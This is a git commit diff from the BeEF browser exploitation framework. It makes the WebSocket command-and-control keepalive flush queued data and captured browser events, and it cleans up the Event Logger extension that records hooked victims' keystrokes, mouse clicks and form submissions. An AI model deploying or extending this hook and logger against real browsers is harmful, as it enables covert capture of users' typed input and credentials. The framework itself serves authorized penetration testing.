WebSockets: flush beef.net.queue during keepalive (#2806)

This commit is contained in:
bcoles
2023-04-04 03:42:50 +10:00
committed by GitHub
parent 0faf517d8f
commit eb5959a975
6 changed files with 30 additions and 30 deletions
+1 -1
View File
@@ -7,7 +7,7 @@
/**
* Object in charge of getting new commands from the BeEF framework and execute them.
* The XHR-polling channel is managed here. If WebSockets are enabled,
* websocket.ls is used instead.
* websocket.js is used instead.
* @namespace beef.updater
*/
beef.updater = {
+9 -1
View File
@@ -84,9 +84,17 @@ beef.websocket = {
* todo: there is probably a more efficient way to do this. Double-check WebSocket API.
*/
alive: function (){
try {
if (beef.logger.running) {
beef.logger.queue();
}
} catch(err){}
beef.net.flush();
beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout));
}
};
beef.regCmp('beef.websocket');
beef.regCmp('beef.websocket');
@@ -24,7 +24,7 @@ module BeEF
MOUNTS = BeEF::Core::Server.instance.mounts
def initialize
return unless @@config.get('beef.websocket.enable')
return unless @@config.get('beef.http.websocket.enable')
secure = @@config.get('beef.http.websocket.secure')
+3 -13
View File
@@ -6,22 +6,12 @@
module BeEF
module Extension
module Events
module PostLoad
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load')
def self.post_load
print_error 'Event Logger extension is not compatible with WebSockets command and control channel' if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
end
end
# Mounts the handler for processing browser events.
#
# @param beef_server [BeEF::Core::Server] HTTP server instance
module RegisterHttpHandler
# Register API calls
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
#
# Mounts the http handlers for the events extension. We use that to retrieve stuff
# like keystroke, mouse clicks and form submission.
#
def self.mount_handler(beef_server)
beef_server.mount('/event', BeEF::Extension::Events::Handler)
end
+2 -4
View File
@@ -9,10 +9,8 @@ module BeEF
extend BeEF::API::Extension
@short_name = 'events_logger'
@full_name = 'events logger'
@description = 'registers mouse clicks, keystrokes, form submissions'
@full_name = 'Event Logger'
@description = 'Logs browser events, such as mouse clicks, keystrokes, and form submissions.'
end
end
end
+14 -10
View File
@@ -10,32 +10,34 @@ module BeEF
# The http handler that manages the Events.
#
class Handler
Z = BeEF::Core::Models::HookedBrowser
HB = BeEF::Core::Models::HookedBrowser
def initialize(data)
@data = data
setup
end
#
# Sets up event logging
#
def setup
# validates the hook token
beef_hook = @data['beefhook'] || nil
if beef_hook.nil?
print_error '[EVENTS] beef_hook is null'
unless BeEF::Filters.is_valid_hook_session_id?(beef_hook)
print_error('[Event Logger] Invalid hooked browser session')
return
end
# validates that a hooked browser with the beef_hook token exists in the db
zombie = Z.where(session: beef_hook).first || nil
zombie = HB.where(session: beef_hook).first || nil
if zombie.nil?
print_error '[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database'
print_error('[Event Logger] Invalid beef hook id: the hooked browser cannot be found in the database')
return
end
events = @data['results']
events = @data['results'] || nil
unless events.is_a?(Array)
print_error("[Event Logger] Received event data of type #{events.class}; expected Array")
return
end
# push events to logger
logger = BeEF::Core::Logger.instance
@@ -58,6 +60,8 @@ module BeEF
end
end
private
def event_log_string(event)
return unless event.is_a?(Hash)